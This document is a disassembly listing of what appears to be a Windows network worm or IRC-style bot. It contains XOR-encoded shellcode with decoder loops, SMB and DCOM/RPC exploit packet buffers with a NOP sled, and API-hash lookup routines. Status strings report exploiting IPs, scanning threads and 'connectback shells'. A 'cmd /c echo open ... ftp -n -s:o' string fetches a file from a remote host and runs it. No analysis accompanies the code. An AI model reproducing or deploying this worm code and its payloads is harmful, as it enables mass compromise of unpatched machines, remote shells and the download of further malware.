dd 9E999B9Eh, 1059AA24h, 89F39DDEh, 0CE66CACEh, 0CA98F36Dh dd 0C961CE66h, 0CE66CAC9h, 0DD751A65h, 42AA6D12h, 10C089F3h dd 627B1785h, 10A1DF10h, 0DF10A5DFh, 0B5DF5ED9h, 99999898h dd 0C989DE14h, 0CACACACFh, 0CACA98F3h, 0FAA5DE5Eh, 1499FDF4h dd 0CAC9A5DEh, 0C97DCE66h, 0AA71CE66h, 591C3559h, 0CBC860ECh dd 4B66CACFh, 7B32C0C3h, 5A59AA77h, 66676271h, 0EDFCDE66h dd 0FAF6EBC9h, 0EBFDFDD8h, 99EAEAFCh, 0F8FCEBDAh, 0EBC9FCEDh dd 0EAFCFAF6h, 0DC99D8EAh, 0C9EDF0E1h, 0FCFAF6EBh, 0D599EAEAh dd 0D5FDF8F6h, 0F8EBFBF0h, 99D8E0EBh, 0C6ABEAEEh, 0CE99ABAAh dd 0F6CAD8CAh, 0EDFCF2FAh, 0F0FB99D8h, 0F599FDF7h, 0FCEDEAF0h dd 0FAF899F7h, 0EDE9FCFAh, 99h unk_449378 db 2Dh ; - ; DATA XREF: sub_40DC2A+10o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aExploitStatist db 'Exploit Statistics:',0 dword_449398 dd 25370320h, 203A0373h, 2C6425haTotalDInS_ db ' Total: %d in %s.',0 ; DATA XREF: sub_40DC2A+DDo align 4 unk_4493B8 db 2Dh ; - ; DATA XREF: sub_40DD5F+33o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h db 54h ; T db 72h, 61h, 6Eh db 73h ; s db 66h, 65h, 72h db 20h db 53h, 74h, 61h db 74h ; t db 69h, 73h, 74h db 69h ; i db 63h, 73h, 3Ah db 20h db 2, 54h, 46h db 54h ; T db 50h, 2, 3Ah db 20h db 25h, 64h, 2Ch db 20h db 2, 46h, 54h db 50h ; P db 2, 3Ah, 20h aDTotalDInS_ db '%d, Total %d in %s.',0 unk_449400 db 2Dh ; - ; DATA XREF: sub_40DDCF+1Co db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aDConnectbackSh db '%d connectback shells in %s.',0 align 4 dword_44942C dd 234032Dh, 6E616373h, 202D0302h, 6C707845h, 2074696Fh ; DATA XREF: sub_40DE28+Do dd 7473694Ch, 3Ah dword_449448 dd 25370320h, 28200373h, 73253403h, 2C2903haScanTimeS_ db ' Scan Time: %s.',0 ; DATA XREF: sub_40DE28+A4o unk_449468 db 2Dh ; - ; DATA XREF: sub_40DF24+C9o db 3, 34h, 2 db 65h ; e db 78h, 70h, 6Ch db 6Fh ; o db 69h, 74h, 2 db 3 db 2Dh, 20h, 74h db 72h ; r db 79h, 69h, 6Eh db 67h ; g db 20h, 2, 25h db 73h ; s db 2, 20h, 6Fh aNSPortD___ db 'n %s (port %d)...',0 align 4 unk_449498 db 2Dh ; - ; DATA XREF: sub_40DF24+20Fo db 3, 34h, 2 db 65h ; e db 78h, 70h, 6Ch db 6Fh ; o db 69h, 74h, 2 db 3 aFinishedExploi db '- finished exploiting %s (%d attempts)',0 unk_4494CC db 2Dh ; - ; DATA XREF: sub_40E192+32o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aCurrentIpS_ db 'Current IP: %s.',0 dword_4494E8 dd 234032Dh, 6E616373h, 202D0302h, 6E616353h, 746F6E20h ; DATA XREF: sub_40E192:loc_40E1DAo dd 74636120h, 2E657669h, 0 db 2Dh ; - db 3, 34h, 2 db 74h ; t db 66h, 74h, 70h db 64h ; d db 2, 3, 2Dh aServerStarte_1 db ' Server started on Port: %d, File: %s.',0 align 4 unk_44953C db 2Dh ; - ; DATA XREF: .XComp0:0040E37Fo db 3, 34h, 2 db 74h ; t db 66h, 74h, 70h db 64h ; d db 2, 3, 2Dh aFailedToSta_19 db ' Failed to start server, error: <%d>.',0 align 10h unk_449570 db 2Dh ; - ; DATA XREF: .XComp0:0040E442o db 3, 34h, 2 db 66h ; f db 74h, 70h, 64h db 2 db 3, 2Dh, 20h aServerStarte_2 db 'Server started on Port: %d, File: %s.',0 align 4 unk_4495A4 db 2Dh ; - ; DATA XREF: .XComp0:0040E4CDo db 3, 34h, 2 db 66h ; f db 74h, 70h, 64h db 2 db 3, 2Dh, 20h aFailedToSta_20 db 'Failed to start server, error: <%d>.',0 align 4 unk_4495D8 db 2Dh ; - ; DATA XREF: .XComp0:0040E588o db 3, 34h, 2 db 63h ; c db 6Fh, 2 dup(6Eh) db 65h ; e db 63h, 74h, 62h db 61h ; a db 63h, 6Bh, 2 db 3 aServerStarte_3 db '- Server started on Port: %d.',0 align 4 unk_449608 db 2Dh ; - ; DATA XREF: .XComp0:0040E613o db 3, 34h, 2 db 63h ; c db 6Fh, 2 dup(6Eh) db 65h ; e db 63h, 74h, 62h db 61h ; a db 63h, 6Bh, 2 db 3 aFailedToSta_21 db '- Failed to start server, error: <%d>.',0 unk_449640 db 2Dh ; - ; DATA XREF: .XComp0:0040E6ECo db 3, 34h, 2 db 68h ; h db 2 dup(74h), 70h db 64h ; d db 2, 3, 2Dh aServerListen_0 db ' Server listening on IP: %s:%d, Directory: %s\.',0 unk_44967C db 2Dh ; - ; DATA XREF: .XComp0:0040E777o db 3, 34h, 2 db 68h ; h db 2 dup(74h), 70h db 64h ; d db 2, 3, 2Dh aFailedToSta_22 db ' Failed to start server, error: <%d>.',0 align 10h aD_D_D_D_0 db '%d.%d.%d.%d',0 ; DATA XREF: sub_40E7FB+3Bo aSocketOpenFail db 'socket open failed',0 ; DATA XREF: .XComp0:0040EB71o align 10h aSendtoSocketFa db 'sendto() socket failed. sent = %d <%d>.',0 ; DATA XREF: .XComp0:0040EBC3o aRecvfromSocket db 'recvfrom() socket failed',0 ; DATA XREF: .XComp0:0040EC4Bo align 4 aSocketOpen_ db 'Socket open.',0 ; DATA XREF: .XComp0:0040EC80o align 4 aSocketClosed_ db 'Socket closed.',0 ; DATA XREF: .XComp0:loc_40EC90o align 4 unk_449734 db 2Dh ; - ; DATA XREF: .XComp0:0040ED8Ao db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aIpSDScanThread db 'IP: %s:%d, Scan thread: %d, Sub-thread: %d.',0 dword_44976C dd 234032Dh, 6E616373h, 202D0302h, 203A5049h, 202C7325h ; DATA XREF: .XComp0:0040EE00o dd 74726F50h, 20642520h, 6F207369h, 2E6E6570h, 0 db 2Dh ; - db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aFailedToInitia db 'Failed to initialize critical section.',0 align 4 db 2Dh ; - db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aSDScanThreadDS db '%s:%d, Scan thread: %d, Sub-thread: %d.',0 db 2Dh ; - db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aFailedToStartW db 'Failed to start worker thread, error: <%d>.',0 db 2Dh ; - db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aFinishedAtSDAf db 'Finished at %s:%d after %d minute(s) of scanning.',0 align 4 dword_449874 dd 234032Dh, 6E616373h, 202D0302h, 203A5049h, 50207325h ; DATA XREF: sub_40F238+CCo dd 3A74726Fh, 20642520h, 6F207369h, 2E6E6570h, 0 db 2Dh ; - db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aScanningIpSPor db 'Scanning IP: %s, Port: %d.',0 align 4 db 2Dh ; - db 3, 34h, 2 db 70h ; p db 6Fh, 72h, 74h db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aScanningIpSP_0 db 'Scanning IP: %s, Port: %d.',0 align 10h db 2Dh ; - db 3, 34h, 2 db 70h ; p db 6Fh, 72h, 74h db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aFinishedScanni db 'Finished scanning IP: %s.',0 align 4 aRbrbrbrb db 'BBBB',0 ; DATA XREF: sub_40F9E5+CAo align 4 dword_449928 dd 10FF8h, 0 dword_449930 dd 10FF8h dword_449934 dd 7FFDF020h, 0 dword_44993C dd 424D53FFh, 72h, 0C8531800h, 3 dup(0) dd 13370000h, 0 dd 2006200h aPcNetworkProgr db 'PC NETWORK PROGRAM 1.0',0 db 2 db 4Ch ; L db 41h, 4Eh, 4Dh db 41h ; A db 4Eh, 31h, 2Eh db 30h ; 0 align 2 dw 5702h aIndowsForWorkg db 'indows for Workgroups 3.1a',0 db 2 dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh dd 544E0200h, 204D4C20h, 32312E30h, 0 dword_4499C4 dd 424D53FFh, 73h, 0C8071800h, 3 dup(0) dd 13370000h, 0 dd 0FF0Ch, 0A110400h, 2 dup(0) dword_4499F4 dd 0 dd 800000D4h, 0 unk_449A00 db 81h ; ; DATA XREF: sub_410120+Ao db 2 dup(0), 44h aCkfdenecfdeffc db ' CKFDENECFDEFFCFGEFFCCACACACACACA',0 aCacacacacacaca db ' CACACACACACACACACACACACACACACAAA',0 dd 0 byte_449A4C db 41h ; DATA XREF: sub_4101EB+140r aBcdefghijklmno db 'BCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/',0 align 10h ; =============== S U B R O U T I N E ======================================= sub_449A90 proc near ; DATA XREF: .XComp0:0041055Bo push ebx push esi push edi sub sp, 80h mov esi, esp call sub_449B8C push dword ptr [esi] push 63D61209h call sub_449BA2 mov [esi+8], eax call sub_449B55 push dword ptr [esi+4] push 0CA2BD06Bh call sub_449BA2 mov [esi+0Ch], eax call sub_449B07 push dword ptr [esi+4] push 4C0297FAh call sub_449BA2 xor ebx, ebx push 410h push ebx call eax mov ebx, eax push esi mov esi, [esi+10h] mov edi, eax mov ecx, 410h rep movsb pop esi xor eax, eax push eax push eax push eax push ebx push eax push eax call dword ptr [esi+0Ch] mov eax, [esi+8] add sp, 80h pop edi pop esi pop ebx jmp eax sub_449A90 endp ; =============== S U B R O U T I N E ======================================= sub_449B07 proc near ; CODE XREF: sub_449A90+33p var_20 = dword ptr -20h var_14 = dword ptr -14h pusha call sub_449B30 mov eax, [esp+20h+var_14] lea ebx, [eax+7Ch] add dword ptr [ebx+3Ch], 5 add dword ptr [ebx+28h], 1000h and dword ptr [ebx+28h], 0FFFFF000h mov eax, [esp+20h+var_20] add esp, 14h push eax xor eax, eax retn sub_449B07 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_449B30 proc near ; CODE XREF: sub_449B07+1p xor edx, edx push dword ptr fs:[edx] mov fs:[edx], esp xor ebx, ebx mov eax, 42904290h loc_449B3F: ; CODE XREF: sub_449B30+1Aj xor ecx, ecx mov cl, 2 mov edi, ebx repe scasd jz short loc_449B4C inc ebx jmp short loc_449B3F ; --------------------------------------------------------------------------- loc_449B4C: ; CODE XREF: sub_449B30+17j mov [esi+10h], edi pop dword ptr fs:[edx] pop eax popa retn sub_449B30 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_449B55 proc near ; CODE XREF: sub_449A90+1Ep pusha mov edi, 7FFDF020h mov ebx, [edi] mov eax, [esi+8] mov [edi], eax mov edi, [edi-8] add edi, 178h mov ecx, edi loc_449B6D: ; CODE XREF: sub_449B55+1Ej cmp [ecx], ebx jz short loc_449B75 mov ecx, [ecx] jmp short loc_449B6D ; --------------------------------------------------------------------------- loc_449B75: ; CODE XREF: sub_449B55+1Aj mov edx, edi loc_449B77: ; CODE XREF: sub_449B55+2Aj cmp [edx+4], ebx jz short loc_449B81 mov edx, [edx+4] jmp short loc_449B77 ; --------------------------------------------------------------------------- loc_449B81: ; CODE XREF: sub_449B55+25j mov [ecx], edx mov [edx+4], ecx mov byte ptr [ebx-3], 1 popa retn sub_449B55 endp ; =============== S U B R O U T I N E ======================================= sub_449B8C proc near ; CODE XREF: sub_449A90+Ap mov eax, ds:7FFDF00Ch mov eax, [eax+1Ch] mov ebx, [eax+8] mov [esi], ebx mov eax, [eax] mov eax, [eax+8] mov [esi+4], eax retn sub_449B8C endp ; =============== S U B R O U T I N E ======================================= sub_449BA2 proc near ; CODE XREF: sub_449A90+16p ; sub_449A90+2Bp ... var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 pusha mov ebp, [esp+20h+arg_4] mov eax, [ebp+3Ch] mov edx, [ebp+eax+78h] add edx, ebp mov ecx, [edx+18h] mov ebx, [edx+20h] add ebx, ebp loc_449BB8: ; CODE XREF: sub_449BA2+33j jecxz short loc_449BF2 dec ecx mov esi, [ebx+ecx*4] add esi, ebp xor edi, edi xor eax, eax cld loc_449BC5: ; CODE XREF: sub_449BA2+2Dj lodsb cmp al, ah jz short loc_449BD1 ror edi, 0Dh add edi, eax jmp short loc_449BC5 ; --------------------------------------------------------------------------- loc_449BD1: ; CODE XREF: sub_449BA2+26j cmp edi, [esp+20h+arg_0] jnz short loc_449BB8 mov ebx, [edx+24h] add ebx, ebp mov cx, [ebx+ecx*2] mov ebx, [edx+1Ch] add ebx, ebp mov eax, [ebx+ecx*4] add eax, ebp mov [esp+20h+var_4], eax popa retn 8 ; --------------------------------------------------------------------------- loc_449BF2: ; CODE XREF: sub_449BA2:loc_449BB8j ; sub_449BA2:loc_449BF2j jmp short loc_449BF2 sub_449BA2 endp ; --------------------------------------------------------------------------- align 8 ; =============== S U B R O U T I N E ======================================= sub_449BF8 proc near ; DATA XREF: .XComp0:004104EFo arg_0 = dword ptr 4 add esp, 0FFFFF254h cld call sub_449C4A mov eax, [ebp+3Ch] mov edi, [ebp+eax+78h] add edi, ebp mov ecx, [edi+18h] mov ebx, [edi+20h] add ebx, ebp loc_449C15: ; CODE XREF: sub_449BF8+38j jecxz short loc_449C45 dec ecx mov esi, [ebx+ecx*4] add esi, ebp xor eax, eax cdq loc_449C20: ; CODE XREF: sub_449BF8+32j lodsb test al, al jz short loc_449C2C ror edx, 0Dh add edx, eax jmp short loc_449C20 ; --------------------------------------------------------------------------- loc_449C2C: ; CODE XREF: sub_449BF8+2Bj cmp edx, [esp+arg_0] jnz short loc_449C15 mov ebx, [edi+24h] add ebx, ebp mov cx, [ebx+ecx*2] mov ebx, [edi+1Ch] add ebx, ebp mov ebx, [ebx+ecx*4] add ebx, ebp loc_449C45: ; CODE XREF: sub_449BF8:loc_449C15j mov [esp+arg_0], ebx retn sub_449BF8 endp ; =============== S U B R O U T I N E ======================================= sub_449C4A proc near ; CODE XREF: sub_449BF8+7p ; FUNCTION CHUNK AT 00449C82 SIZE 00000007 BYTES xor eax, eax mov eax, fs:[eax+30h] test eax, eax js short loc_449C63 mov eax, [eax+0Ch] mov esi, [eax+1Ch] lodsd mov ebp, [eax+8] jmp loc_449C6E ; --------------------------------------------------------------------------- loc_449C63: ; CODE XREF: sub_449C4A+8j mov eax, [eax+34h] add eax, 7Ch mov ebp, [eax+3Ch] loc_449C6E: ; CODE XREF: sub_449C4A+14j pop edi xor esi, esi pusha push esi jmp short loc_449C82 sub_449C4A endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_449C75 proc near ; CODE XREF: sub_449C4A:loc_449C82p push 60E0CEEFh push 0E8AFE98h push edi jmp edi sub_449C75 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_449C4A loc_449C82: ; CODE XREF: sub_449C4A+29j call sub_449C75 loc_449C87: ; DATA XREF: sub_40F969+29o add [ebx], ah ; END OF FUNCTION CHUNK FOR sub_449C4A ; --------------------------------------------------------------------------- db 3 dup(0) ; --------------------------------------------------------------------------- loc_449C8C: ; DATA XREF: sub_40F9E5+105o jmp short near ptr dword_449C94 ; --------------------------------------------------------------------------- db 6 dup(90h) dword_449C94 dd 0 aCccc db 'CCCC',0 ; DATA XREF: sub_40F9E5+181o align 10h dword_449CA0 dd 3 dword_449CA4 dd 0A1h dword_449CA8 dd 30h dword_449CAC dd 62B0606h, 2050501h, 0A0hdword_449CB8 dd 60h aCmdCEchoOpenSD db 'cmd /c echo open %s %d > o&echo user 1 1 >> o &echo get %s >> o &' ; DATA XREF: .XComp0:0041051Fo db 'echo quit >> o &ftp -n -s:o &%s',0Dh,0Ah,0 align 10h aS_19: ; DATA XREF: sub_41104D+F3o unicode 0, <è>,0 dd 31665800h, 388140C0h, 6D6F6364h, 7881F775h, 30786804h dd 5EE7572h, 8, 9090E0FFh, 3Fh dup(90909090h), 9090h dword_449E44 dd 30B0005h, 10h, 48h, 7Fh, 16D016D0h, 0 dd 1, 10001h, 1A0h, 0 dd 0C0h, 46000000h, 0 dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0 dd 3000005h, 10h, 3E8h, 0E5h, 3D0h, 40001h, 60005h, 1 dd 0 dd 0FD582432h, 496445CCh, 0AEDD70B0h, 0D2962C74h, 0D5E60h dd 1, 0 dd 0D5E70h, 2, 0D5E7Ch, 0 dd 10h, 0F1F19680h, 11CE4D2Ah, 20006AA6h, 0F4726EAFh, 0Ch dd 4252414Dh, 1, 0 dd 0BAADF00Dh, 0 dd 0BF4A8h, 2 dup(360h), 574F454Dh, 4, 1A2h, 0 dd 0C0h, 46000000h, 338h, 0 dd 0C0h, 46000000h, 0 dd 330h, 328h, 0 dd 81001h, 0CCCCCCCCh, 0C8h, 574F454Dh, 328h, 0D8h, 0 dd 2, 7, 4 dup(0) dd 0CD28C4h, 0CD2964h, 0 dd 7, 1B9h, 0 dd 0C0h, 46000000h, 1ABh, 0 dd 0C0h, 46000000h, 1A5h, 0 dd 0C0h, 46000000h, 1A6h, 0 dd 0C0h, 46000000h, 1A4h, 0 dd 0C0h, 46000000h, 1ADh, 0 dd 0C0h, 46000000h, 1AAh, 0 dd 0C0h, 46000000h, 7, 60h, 58h, 90h, 40h, 20h, 78h, 30h dd 1, 81001h, 0CCCCCCCCh, 50h, 2088B64Fh, 0FFFFFFFFh, 13h dup(0) dd 81001h, 0CCCCCCCCh, 48h, 660007h, 20906h, 0 dd 0C0h, 46000000h, 10h, 2 dup(0) dd 1, 0 dd 0C1978h, 58h, 60005h, 1, 9398D870h, 11D24F98h, 57BE3DA9h dd 0B2h, 310032h, 81001h, 0CCCCCCCCh, 80h, 0BAADF00Dh dd 4 dup(0) dd 144318h, 0 dd 2 dup(60h), 574F454Dh, 4, 1C0h, 0 dd 0C0h, 46000000h, 33Bh, 0 dd 0C0h, 46000000h, 0 dd 30h, 10001h, 317C581h, 4AE90E80h, 8AF19999h, 857A6F50h dd 2, 5 dup(0) dd 1, 81001h, 0CCCCCCCCh, 30h, 6E0078h, 0 dd 0DDAD8h, 2 dup(0) dd 0C2F20h, 2 dup(0) dd 3, 0 dd 3, 580046h, 0 dd 81001h, 0CCCCCCCCh, 10h, 2E0030h, 4 dup(0) dd 81001h, 0CCCCCCCCh, 68h, 0FFFF000Eh, 0B8B68h, 2, 3 dup(0) dd 20h, 0 dd 20h, 5C005Ch, 0 dd offset nullsub_1 dd offset dword_5C0024 a12345611111111: unicode 0, <123456111111111111111.doc>,0 align 8 dd 81001h, 0CCCCCCCCh, 20h, 2D0030h, 0 dd 0C2A88h, 2, 1, 0C8C28h, 1, 7, 2 dup(0) a127_0_0_1Ipc: ; DATA XREF: sub_41104D+117o unicode 0, <127.0.0.1\IPC$\> ; --------------------------------------------------------------------------- inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp loc_44A2A0: ; CODE XREF: .XComp0:0044A4A8j inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp loc_44A473: ; CODE XREF: .XComp0:loc_44A4DBj inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp jmp loc_44A2A0 ; --------------------------------------------------------------------------- db 3 dup(45h) ; --------------------------------------------------------------------------- inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp loc_44A4D1: ; CODE XREF: .XComp0:0044A4DFj inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp loc_44A4D7: ; DATA XREF: sub_41104D+190o add [esp+edx+54h], cl loc_44A4DB: ; DATA XREF: sub_41104D+17Ao jl short loc_44A473 mov ah, 0A1h ja short loc_44A4D1 mov eax, ds:0AFA977EDh mov eax, ds:41414177h inc ecx ; --------------------------------------------------------------------------- dd 77FCC662h aTftpFileTransf db '[TFTP]: File transfer complete to IP: %s',0 ; DATA XREF: sub_41104D+407o align 4 aSExploitingIpS db '[%s]: Exploiting IP: %s.',0 ; DATA XREF: sub_41104D+462o align 4 jmp short loc_44A54A ; =============== S U B R O U T I N E ======================================= sub_44A53A proc far ; CODE XREF: sub_44A53A:loc_44A54Ap pop ebx dec ebx xor ecx, ecx mov cx, 125h loc_44A542: ; CODE XREF: sub_44A53A+Cj xor byte ptr [ebx+ecx], 99h loop loc_44A542 jmp short loc_44A54F ; --------------------------------------------------------------------------- loc_44A54A: ; CODE XREF: .XComp0:0044A538j call near ptr sub_44A53A loc_44A54F: ; CODE XREF: sub_44A53A+Ej jo short loc_44A5B3 cdq cdq cdq mov ch, 38h test eax, 12999999h fst dword ptr [ebp+3485E912h] adc dh, cl xchg eax, ecx adc ch, [esi-0Dh] popf sal byte ptr [ecx+2], 99h cdq cdq jnp short loc_44A5D1 icebp stosb stosd cdq cdq icebp out dx, al jmp far ptr 128Fh:66CDC6ABh ; --------------------------------------------------------------------------- db 71h dd 71C09DF3h, 9999991Bh, 7518607Bh, 99999809h, 9898F1CDh dd 0CF669999h, 0C9C9C989h, 0D9C9D9C9h, 8DCF66C9h, 0E6F14112h dd 0F1989999h, 4B9D999Bh ; --------------------------------------------------------------------------- adc dl, [ebp-0Dh] loc_44A5B3: ; CODE XREF: sub_44A53A:loc_44A54Fj mov eax, ecx retf 0CF66h ; --------------------------------------------------------------------------- dd 0EC591C81h, 0F4FAF1D3h, 0FF1099FDh, 0CD751AA9h, 0F3BDA514h dd 7B32C08Ch db 64h ; --------------------------------------------------------------------------- loc_44A5D1: ; CODE XREF: sub_44A53A+35j pop edi fnstsw word ptr [ebp-22982277h] mov ebp, 0BDC510A4h rcl dword ptr [eax], 1 lds edi, [ebp-423AEF2Bh] leave adc al, 0DDh mov ebp, 0C8C9CD89h enter 0FFFFF3C8h, 98h enter 66C8h, 0EFh test eax, 9DCF66C8h adc dl, [ebp-0Dh] db 66h, 66h test al, 66h iret sub_44A53A endp ; sp-analysis failed ; --------------------------------------------------------------------------- xchg eax, ecx retf 0CF66h ; --------------------------------------------------------------------------- dw 6685h dd 0CFC895CFh, 12A5DC12h, 9AE1B1CDh, 0EB12CB4Ch, 0AA6C9AB9h dd 34D8D050h, 42AA5C9Ah, 0A3892796h, 5891ED4Fh, 439A9452h dd 0A26872D9h, 0C37EEC86h, 9ABDC312h, 9512FF44h, 85C312D2h dd 9D12449Ah, 325C9A12h, 715AC0C7h, 66666699h, 7597D717h dd 8F2A67EBh, 579C4034h, 0F9795776h, 0A2657452h, 346C9040h dd 0F9336075h, 0E05FE07Eh, 0 ; --------------------------------------------------------------------------- loc_44A678: ; DATA XREF: sub_4116B3+16Fo jmp short loc_44A68A ; =============== S U B R O U T I N E ======================================= sub_44A67A proc near ; CODE XREF: sub_44A67A:loc_44A68Ap pop edx dec edx xor ecx, ecx mov cx, 17Dh loc_44A682: ; CODE XREF: sub_44A67A+Cj xor byte ptr [edx+ecx], 99h loop loc_44A682 jmp short loc_44A68F ; --------------------------------------------------------------------------- loc_44A68A: ; CODE XREF: .XComp0:loc_44A678j call sub_44A67A loc_44A68F: ; CODE XREF: sub_44A67A+Ej jo short near ptr dword_44A608+1Eh cwde cdq cdq retn sub_44A67A endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 0FDh, 38h, 0A9h dd 12999999h, 0E91295D9h, 0D9123485h, 12411291h, 0ED12A5EAh dd 6A9AE187h, 9AB9E712h, 8DD71262h, 0CECF74AAh, 9AA612C8h dd 0F36B1262h, 3F6AC097h, 0C6C091EDh, 0DC9D5E1Ah, 0C6C0707Bh dd 125412C7h, 5A9ABDDFh, 589A7848h, 12FF50AAh, 85DF1291h dd 78585A9Ah, 12589A9Bh, 125A9A99h, 1A6E1263h, 4912975Fh dd 71C09AF3h, 9999991Eh, 0CB945F1Ah, 65CE66CFh, 0F34112C3h dd 0ED71C09Ch, 0C9999999h, 0F3C9C9C9h, 